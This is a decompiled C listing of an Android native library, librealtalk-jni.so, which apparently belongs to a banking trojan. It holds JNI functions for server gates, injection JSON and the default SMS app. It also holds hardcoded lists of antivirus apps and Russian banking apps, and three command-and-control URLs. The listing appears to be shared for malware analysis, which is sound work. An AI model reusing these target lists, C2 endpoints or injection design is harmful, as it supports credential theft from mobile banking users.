-
Notifications
You must be signed in to change notification settings - Fork 13
/
librealtalk-jni.so.c
3723 lines (3572 loc) · 114 KB
/
librealtalk-jni.so.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2018 Retargetable Decompiler <info@retdec.com>
//
#include <math.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
// ----------------- Float Types Definitions ------------------
typedef float float32_t;
// ------------------- Function Prototypes --------------------
int32_t _Z10getKeyNameP7_JNIEnvPKc(int32_t * a1);
int32_t _Z13getServerGateP7_JNIEnvi(int32_t * a1, int32_t a2);
int32_t _Z17getDefaultInjJSONP7_JNIEnv(int32_t * a1);
int32_t _Z9mainPrefsP7_JNIEnv(int32_t * a1);
int32_t _ZN7_JNIEnv13CallIntMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2);
int32_t _ZN7_JNIEnv14CallLongMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2);
int32_t _ZN7_JNIEnv14CallVoidMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2);
int32_t _ZN7_JNIEnv16CallObjectMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2);
int32_t _ZN7_JNIEnv17CallBooleanMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2);
int32_t function_139c(void);
int32_t function_13b0(void (*func)(int32_t *), int32_t * arg, int32_t * dso_handle);
void function_13bc(int32_t * d);
int32_t function_13c8(char * s1, char * s2);
int32_t function_13cfd24(void);
int32_t function_13d4(int32_t a1, int32_t a2, int32_t a3);
int32_t function_13e0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
void function_13ec(void);
int32_t function_13f8(int32_t a1, int32_t a2, int32_t a3);
int32_t function_1404(int32_t a1);
int32_t function_1410(void);
int32_t function_141c(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_1428(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_1434(int32_t a1, int32_t a2);
void function_1440(void);
int32_t * function_144c(int32_t * dest, int32_t * src, int32_t n);
bool function_1458(int32_t * ucbp);
bool function_1464(int32_t * ucbp, int32_t * rttip, int32_t ** matched_object);
int32_t function_1470(void);
int32_t function_1480(int32_t result);
int32_t function_148c(int32_t * a1);
int32_t function_14f2(int32_t a1);
int32_t function_1b99a8a(void);
int32_t function_39cc(void);
int32_t function_39de(void);
int32_t function_39f6(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10);
int32_t function_3a46(int32_t * a1);
int32_t function_3b18(int32_t * a1);
int32_t function_3b66(int32_t * a1);
int32_t function_3b72(void);
int32_t function_3b76(int32_t a1, int32_t a2);
int32_t function_3b78(int32_t a1, int32_t a2);
int32_t function_3c70(int32_t a1);
int32_t function_3c74(void);
int32_t function_3cd6(void);
int32_t function_3cea(void);
int32_t function_3d2c(int32_t a1, int32_t a2);
int32_t function_3d3c(void);
int32_t function_3d3e(int32_t result);
int32_t function_3d4a(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_3d52(int32_t * a1, int32_t a2);
int32_t function_3d6e(void);
int32_t function_3d74(int32_t a1);
int32_t function_3d78(int32_t a1);
int32_t function_3d90(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_3d98(int32_t a1, int32_t a2, int32_t a3);
int32_t function_3db8(void);
int32_t function_3dbe(int32_t a1, int32_t a2, int32_t a3);
int32_t function_3dd8(void);
int32_t function_3e52(void);
int32_t function_3f22ae(void);
int32_t function_3f22f4(void);
int32_t function_3fb2e(void);
int32_t function_40bc(void);
int32_t function_40c0(void);
int32_t function_40c4(void);
int32_t function_40c8(int32_t a1);
int32_t function_42f8(int32_t * a1);
int32_t function_4310(int32_t a1);
int32_t function_4318(int32_t a1);
int32_t function_4320(int32_t a1);
int32_t function_4328(int32_t a1);
int32_t function_4330(int32_t a1);
int32_t function_4338(int32_t a1);
int32_t function_4340(int32_t a1);
int32_t function_4384(int32_t a1);
int32_t function_43c8(int32_t a1);
int32_t function_43dc(int32_t a1);
int32_t function_43f0(int32_t result);
int32_t function_43f72(int32_t a1);
int32_t function_4404(int32_t a1);
int32_t function_4414(int32_t result);
int32_t function_4428(void);
int32_t function_442e(int32_t a1);
int32_t function_4438(int32_t result);
int32_t function_444c(int32_t a1);
int32_t function_445c(int32_t result);
int32_t function_4470(int32_t a1);
int32_t function_4480(int32_t result);
int32_t function_4494(int32_t a1);
int32_t function_44a4(int32_t * a1);
int32_t function_44d0(void);
int32_t function_44e8(void);
int32_t function_44ea(int32_t a1, int32_t a2);
int32_t function_4760(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
int32_t function_478a(int32_t a1);
int32_t function_4794(int32_t a1);
int32_t function_47a6(int32_t a1);
int32_t function_47ac(int32_t a1);
int32_t function_60416809(void);
int32_t function_68419a01(void);
int32_t function_903a7e(void);
int32_t function_ffc248(void);
int32_t Java_com_gumsis_Acrtk_getWriteInjJSON(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Acrtk_setWriteInjJSON(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_getAddDevicePackageFromJNI(int32_t * a1);
int32_t Java_com_gumsis_Realtalk_getDefSmsClPackage(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getNextServerGate(char * a1);
int32_t Java_com_gumsis_Realtalk_getPingCounts(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getPreviousRid(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getPsuedoID(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getServerGate(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getSettingsPackageFromJNI(int32_t * a1);
int32_t Java_com_gumsis_Realtalk_getSPackage(int32_t * a1);
int32_t Java_com_gumsis_Realtalk_getStartWebUrl(int32_t * a1);
int32_t Java_com_gumsis_Realtalk_getTimeStamp(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getWFCounts(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getWriteInjJSON(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_getXiaomiSettingsPackageFromJNI(int32_t * a1);
int32_t Java_com_gumsis_Realtalk_hasNotCurPackage(char * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isCurPackage(char * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isCurPackageMinimize(char * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isDisableGp(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isDisS(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isHardMode(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isPlaySound(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_isStartAccess(int32_t * a1, int32_t a2);
int32_t Java_com_gumsis_Realtalk_setDefSmsClPackage(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setDisableGp(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setDisS(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setHardMode(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setPingCounts(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setPlaySound(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setPreviousRid(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t Java_com_gumsis_Realtalk_setPsuedoID(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setServerGate(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setStartAccess(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setTimeStamp(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t Java_com_gumsis_Realtalk_setWFCounts(int32_t * a1, int32_t a2, int32_t a3);
int32_t Java_com_gumsis_Realtalk_setWriteInjJSON(int32_t * a1, int32_t a2, int32_t a3);
int32_t unknown_104a1e(int32_t a1);
int32_t unknown_2d54da(void);
int32_t unknown_39d86(void);
int32_t unknown_4f(void);
// --------------------- Global Variables ---------------------
bool g1 = false; // cpsr_c
bool g2 = false; // cpsr_n
bool g3 = false; // cpsr_z
int32_t g4 = 0; // fp
int32_t g5 = 0;
int32_t g6 = 20;
int32_t g7 = 0;
int32_t g8 = 0x1e8d4604;
int32_t g9 = 0x7fffcb0c;
char * g10[36];
int32_t g11; // 0x5b34
int32_t g16 = 0;
int32_t g17; // 0x6f8e
int32_t g18 = 0;
int32_t g19 = 0;
int32_t g20; // 0x6fa8
int32_t g22 = 0;
int32_t g23 = 0x139c;
int32_t g24 = 0;
int32_t g25 = 0x10001;
int32_t g26 = 0; // ip
int32_t g27 = 0; // lr
int32_t g28 = 0; // r0
int32_t g29 = 0; // r1
int32_t g30 = 0; // r2
int32_t g31 = 0; // r3
int32_t g32 = 0; // r4
int32_t g33 = 0; // r5
int32_t g34 = 0; // r6
int32_t g35 = 0; // r7
int32_t g36 = 0; // r8
int32_t g37 = 0; // sb
int32_t g38 = 0; // sl
char * g12[73] = {
"com.cleanmaster.mguard",
"com.cmcm.lite",
"com.kms.free",
"com.kms.me",
"com.ehawk.antivirus.applock.wifi",
"com.cleanmaster.security",
"com.antivirus",
"com.avast.android.mobilesecurity",
"com.qihoo.security",
"com.eset.ems2.gp",
"com.apps.go.clean.boost.master",
"com.zrgiu.antivirus",
"com.drweb.pro",
"com.drweb",
"com.powertools.privacy",
"com.hyperspeed.rocketclean",
"com.fasttrack.security",
"com.hawk.security",
"com.antivirus.tablet",
"com.cmsecurity.lite",
"com.dianxinos.optimizer.duplay",
"com.s.antivirus",
"com.fotoable.cleaner",
"com.cleanmaster.sdk",
"com.antivirus.mobilesecurity.viruscleaner.applock",
"com.guardian.security.pri",
"com.androhelm.antivirus.free2",
"com.jb.security",
"com.comodo.cisme.antivirus",
"com.cleanmaster.mguard_x86",
"com.avira.android",
"com.symantec.mobilesecurity",
"com.wsandroid.suite",
"com.qihoo.security.lite",
"com.eset.ems2.beeline",
"com.piriform.ccleaner",
"com.cleanmaster.boost",
(char *)&g10,
"com.android.vending",
"com.google.android.gm",
"com.google.android.play.games",
"com.google.android.apps.plus",
"com.google.android.music",
"com.google.android.apps.docs",
"com.google.android.videos",
"com.google.android.apps.walletnfcrel",
"com.avito.android",
"com.gettaxi.android",
"ru.yandex.taxi",
"com.ubercab",
"com.alibaba.aliexpresshd",
"ru.ok.android",
"com.whatsapp",
"com.viber.voip",
"org.telegram.messenger",
"com.instagram.android",
(char *)&g10,
"com.aod.smsbanking",
"ru.alfabank.mobile.android",
"ru.simpls.mbrd.ui",
"hu.eqlsoft.otpdirektru",
"ru.letobank.Prometheus",
"logo.com.mbanking",
"ru.mw",
"ru.rosbank.android",
"ru.sberbankmobile",
"ru.ftc.faktura.sovkombank",
"com.idamob.tinkoff.android",
"ru.tinkoff.sme",
(char *)&g10,
"http://backfround2.pw/2445d304/",
"http://web-gumtree.com/2445d304/",
"http://background1.xyz/2445d304/"
};
char * g13[36] = {
"com.android.vending",
"com.google.android.gm",
"com.google.android.play.games",
"com.google.android.apps.plus",
"com.google.android.music",
"com.google.android.apps.docs",
"com.google.android.videos",
"com.google.android.apps.walletnfcrel",
"com.avito.android",
"com.gettaxi.android",
"ru.yandex.taxi",
"com.ubercab",
"com.alibaba.aliexpresshd",
"ru.ok.android",
"com.whatsapp",
"com.viber.voip",
"org.telegram.messenger",
"com.instagram.android",
(char *)&g10,
"com.aod.smsbanking",
"ru.alfabank.mobile.android",
"ru.simpls.mbrd.ui",
"hu.eqlsoft.otpdirektru",
"ru.letobank.Prometheus",
"logo.com.mbanking",
"ru.mw",
"ru.rosbank.android",
"ru.sberbankmobile",
"ru.ftc.faktura.sovkombank",
"com.idamob.tinkoff.android",
"ru.tinkoff.sme",
(char *)&g10,
"http://backfround2.pw/2445d304/",
"http://web-gumtree.com/2445d304/",
"http://background1.xyz/2445d304/",
(char *)&g11
};
char * g14[17] = {
"com.aod.smsbanking",
"ru.alfabank.mobile.android",
"ru.simpls.mbrd.ui",
"hu.eqlsoft.otpdirektru",
"ru.letobank.Prometheus",
"logo.com.mbanking",
"ru.mw",
"ru.rosbank.android",
"ru.sberbankmobile",
"ru.ftc.faktura.sovkombank",
"com.idamob.tinkoff.android",
"ru.tinkoff.sme",
(char *)&g10,
"http://backfround2.pw/2445d304/",
"http://web-gumtree.com/2445d304/",
"http://background1.xyz/2445d304/",
(char *)&g11
};
char * g15[4] = {
"http://backfround2.pw/2445d304/",
"http://web-gumtree.com/2445d304/",
"http://background1.xyz/2445d304/",
(char *)&g11
};
int32_t * g21 = &g9;
// ------------------------ Functions -------------------------
// Address range: 0x139c - 0x13ac
int32_t function_139c(void) {
// 0x139c
return g28;
}
// Address range: 0x13b0 - 0x13bc
int32_t function_13b0(void (*func)(int32_t *), int32_t * arg, int32_t * dso_handle) {
// 0x13b0
return __cxa_atexit(func, arg, dso_handle);
}
// Address range: 0x13bc - 0x13c8
void function_13bc(int32_t * d) {
// 0x13bc
__cxa_finalize(d);
}
// Address range: 0x13c8 - 0x13d4
int32_t function_13c8(char * s1, char * s2) {
// 0x13c8
return strcmp(s1, s2);
}
// Address range: 0x13d4 - 0x13e0
int32_t function_13d4(int32_t a1, int32_t a2, int32_t a3) {
// 0x13d4
return function_139c();
}
// Address range: 0x13e0 - 0x13ec
int32_t function_13e0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
// 0x13e0
return function_139c();
}
// Address range: 0x13ec - 0x13f8
void function_13ec(void) {
// 0x13ec
__stack_chk_fail();
}
// Address range: 0x13f8 - 0x1404
int32_t function_13f8(int32_t a1, int32_t a2, int32_t a3) {
// 0x13f8
return function_139c();
}
// Address range: 0x1404 - 0x1410
int32_t function_1404(int32_t a1) {
// 0x1404
return function_139c();
}
// Address range: 0x1410 - 0x141c
int32_t function_1410(void) {
// 0x1410
return function_139c();
}
// Address range: 0x141c - 0x1428
int32_t function_141c(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
// 0x141c
return function_139c();
}
// Address range: 0x1428 - 0x1434
int32_t function_1428(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
// 0x1428
return function_139c();
}
// Address range: 0x1434 - 0x1440
int32_t function_1434(int32_t a1, int32_t a2) {
// 0x1434
g26 = &g23;
return __gnu_Unwind_Find_exidx();
}
// Address range: 0x1440 - 0x144c
void function_1440(void) {
// 0x1440
abort();
}
// Address range: 0x144c - 0x1458
int32_t * function_144c(int32_t * dest, int32_t * src, int32_t n) {
// 0x144c
return memcpy(dest, src, n);
}
// Address range: 0x1458 - 0x1464
bool function_1458(int32_t * ucbp) {
// 0x1458
return __cxa_begin_cleanup(ucbp);
}
// Address range: 0x1464 - 0x1470
bool function_1464(int32_t * ucbp, int32_t * rttip, int32_t ** matched_object) {
// 0x1464
return __cxa_type_match(ucbp, rttip, matched_object);
}
// Address range: 0x1470 - 0x147c
int32_t function_1470(void) {
// 0x1470
__cxa_finalize(&g24);
int32_t * v1;
return (int32_t)&v1;
}
// Address range: 0x1480 - 0x148c
int32_t function_1480(int32_t result) {
// 0x1480
return result;
}
// Address range: 0x148c - 0x14a4
int32_t function_148c(int32_t * a1) {
// 0x148c
return __cxa_atexit((void (*)(int32_t *))0x1480, a1, (int32_t *)0x7000);
}
// Address range: 0x14ac - 0x14b6
int32_t Java_com_gumsis_Realtalk_getStartWebUrl(int32_t * a1) {
// 0x14ac
return (int32_t)a1;
}
// Address range: 0x14e8 - 0x14f2
int32_t Java_com_gumsis_Realtalk_getSPackage(int32_t * a1) {
// 0x14e8
return (int32_t)a1;
}
// Address range: 0x14f2 - 0x14fe
int32_t function_14f2(int32_t a1) {
// 0x14f2
bool v1;
int32_t result; // 0x14fa
if (v1) {
// bb
result = function_1b99a8a();
// branch -> 0x14fe
} else {
// .thread.dec_label_pc_14fe_crit_edge
result = g28;
// branch -> 0x14fe
}
// 0x14fe
return result;
}
// Address range: 0x1508 - 0x1512
int32_t Java_com_gumsis_Realtalk_getAddDevicePackageFromJNI(int32_t * a1) {
// 0x1508
return (int32_t)a1;
}
// Address range: 0x1538 - 0x1542
int32_t Java_com_gumsis_Realtalk_getSettingsPackageFromJNI(int32_t * a1) {
// 0x1538
return (int32_t)a1;
}
// Address range: 0x155c - 0x1566
int32_t Java_com_gumsis_Realtalk_getXiaomiSettingsPackageFromJNI(int32_t * a1) {
// 0x155c
return (int32_t)a1;
}
// Address range: 0x1580 - 0x15e8
int32_t Java_com_gumsis_Realtalk_isCurPackageMinimize(char * a1, int32_t a2) {
int32_t str = (int32_t)a1; // 0x158a
if (a2 == 0) {
// 0x15e2
return 0;
}
int32_t v1 = 0; // r4
int32_t strcmp_rc = strcmp((char *)str, (char *)*(int32_t *)&g12); // 0x15b043
if (strcmp_rc == 0) {
// 0x15d0
// branch -> 0x15e2
} else {
while (true) {
int32_t v2 = v1 + 1; // 0x15b6
v1 = v2;
if (v2 == 37) {
// 0x15bc
// branch -> 0x15e2
// 0x15e2
return 0;
}
int32_t str2 = *(int32_t *)(4 * v2 + (int32_t)&g12); // 0x15aa
if (strcmp((char *)str, (char *)str2) == 0) {
// break -> 0x15d0
break;
}
// continue -> 0x15b6
}
// 0x15d0
// branch -> 0x15e2
}
// 0x15e2
return 1;
}
// Address range: 0x15ec - 0x1654
int32_t Java_com_gumsis_Realtalk_isCurPackage(char * a1, int32_t a2) {
int32_t str = (int32_t)a1; // 0x15f6
if (a2 == 0) {
// 0x164e
return 0;
}
int32_t v1 = 0; // r4
int32_t strcmp_rc = strcmp((char *)str, (char *)*(int32_t *)&g13); // 0x161c43
if (strcmp_rc == 0) {
// 0x163c
// branch -> 0x164e
} else {
while (true) {
int32_t v2 = v1 + 1; // 0x1622
v1 = v2;
if (v2 == 18) {
// 0x1628
// branch -> 0x164e
// 0x164e
return 0;
}
int32_t str2 = *(int32_t *)(4 * v2 + (int32_t)&g13); // 0x1616
if (strcmp((char *)str, (char *)str2) == 0) {
// break -> 0x163c
break;
}
// continue -> 0x1622
}
// 0x163c
// branch -> 0x164e
}
// 0x164e
return 1;
}
// Address range: 0x1658 - 0x16c0
int32_t Java_com_gumsis_Realtalk_hasNotCurPackage(char * a1, int32_t a2) {
int32_t str = (int32_t)a1; // 0x1662
if (a2 == 0) {
// 0x16ba
return 0;
}
int32_t v1 = 0; // r4
int32_t strcmp_rc = strcmp((char *)str, (char *)*(int32_t *)&g14); // 0x168843
if (strcmp_rc == 0) {
// 0x16a8
// branch -> 0x16ba
} else {
while (true) {
int32_t v2 = v1 + 1; // 0x168e
v1 = v2;
if (v2 == 12) {
// 0x1694
// branch -> 0x16ba
// 0x16ba
return 0;
}
int32_t str2 = *(int32_t *)(4 * v2 + (int32_t)&g14); // 0x1682
if (strcmp((char *)str, (char *)str2) == 0) {
// break -> 0x16a8
break;
}
// continue -> 0x168e
}
// 0x16a8
// branch -> 0x16ba
}
// 0x16ba
return 1;
}
// Address range: 0x16c4 - 0x16d0
// Demangled: mainPrefs(_JNIEnv *)
int32_t _Z9mainPrefsP7_JNIEnv(int32_t * a1) {
// 0x16c4
return (int32_t)a1;
}
// Address range: 0x16d4 - 0x16dc
// Demangled: getKeyName(_JNIEnv *, char const *)
int32_t _Z10getKeyNameP7_JNIEnvPKc(int32_t * a1) {
// 0x16d4
return (int32_t)a1;
}
// Address range: 0x16dc - 0x16ec
// Demangled: getServerGate(_JNIEnv *, int)
int32_t _Z13getServerGateP7_JNIEnvi(int32_t * a1, int32_t a2) {
// 0x16dc
return (int32_t)a1;
}
// Address range: 0x16f0 - 0x17b6
int32_t Java_com_gumsis_Realtalk_isStartAccess(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x175c
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x1774
g28 = v1;
return function_13e0(v1, v3, v1, v1, 0);
}
// Address range: 0x17dc - 0x1828
// Demangled: _JNIEnv::CallObjectMethod(_jobject *, _jmethodID *, ellipsis)
int32_t _ZN7_JNIEnv16CallObjectMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2) {
// 0x17dc
if (*(int32_t *)g19 == *(int32_t *)g16) {
// bb
return (int32_t)a1;
}
// 0x1820
__stack_chk_fail();
return (int32_t)*(char *)0;
}
// Address range: 0x182c - 0x1878
// Demangled: _JNIEnv::CallBooleanMethod(_jobject *, _jmethodID *, ellipsis)
int32_t _ZN7_JNIEnv17CallBooleanMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2) {
// 0x182c
if (*(int32_t *)g19 == *(int32_t *)g16) {
// bb
return (int32_t)a1;
}
// 0x1870
__stack_chk_fail();
return (int32_t)*(char *)(int32_t)&a2;
}
// Address range: 0x187c - 0x19a8
int32_t Java_com_gumsis_Realtalk_setStartAccess(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x1948
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x1952
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x1972
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x19e0 - 0x1a2c
// Demangled: _JNIEnv::CallVoidMethod(_jobject *, _jmethodID *, ellipsis)
int32_t _ZN7_JNIEnv14CallVoidMethodEP8_jobjectP10_jmethodIDz(int32_t * a1, int32_t a2) {
int32_t v1 = *(int32_t *)g16; // 0x19f2
int32_t v2 = *(int32_t *)g19; // 0x1a14
if (v2 == v1) {
// bb
return v2 - v1;
}
// 0x1a24
__stack_chk_fail();
int32_t v3 = 0; // r4
*(char *)v3 = (char)v3;
int32_t * v4;
return (int32_t)&v4;
}
// Address range: 0x1a30 - 0x1af6
int32_t Java_com_gumsis_Realtalk_isDisS(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x1a9c
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x1ab4
g28 = v1;
return function_13e0(v1, v3, v1, v1, 0);
}
// Address range: 0x1b1c - 0x1c48
int32_t Java_com_gumsis_Realtalk_setDisS(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x1be8
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x1bf2
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x1c12
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x1c80 - 0x1d46
int32_t Java_com_gumsis_Realtalk_getDefSmsClPackage(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x1cec
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x1d04
g28 = v1;
return function_13d4(v1, v3, v1);
}
// Address range: 0x1d6c - 0x1e98
int32_t Java_com_gumsis_Realtalk_setDefSmsClPackage(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x1e38
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x1e42
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x1e62
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x1ed0 - 0x1f96
int32_t Java_com_gumsis_Realtalk_getPsuedoID(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x1f3c
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x1f54
g28 = v1;
return function_13d4(v1, v3, v1);
}
// Address range: 0x1fbc - 0x20e8
int32_t Java_com_gumsis_Realtalk_setPsuedoID(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x2088
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x2092
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x20b2
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x2120 - 0x224c
int32_t Java_com_gumsis_Realtalk_setWriteInjJSON(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x21ec
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x21f6
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x2216
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x2284 - 0x2356
int32_t Java_com_gumsis_Realtalk_getWriteInjJSON(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // 0x228e
*(int32_t *)g18 = v1;
g28 = v1;
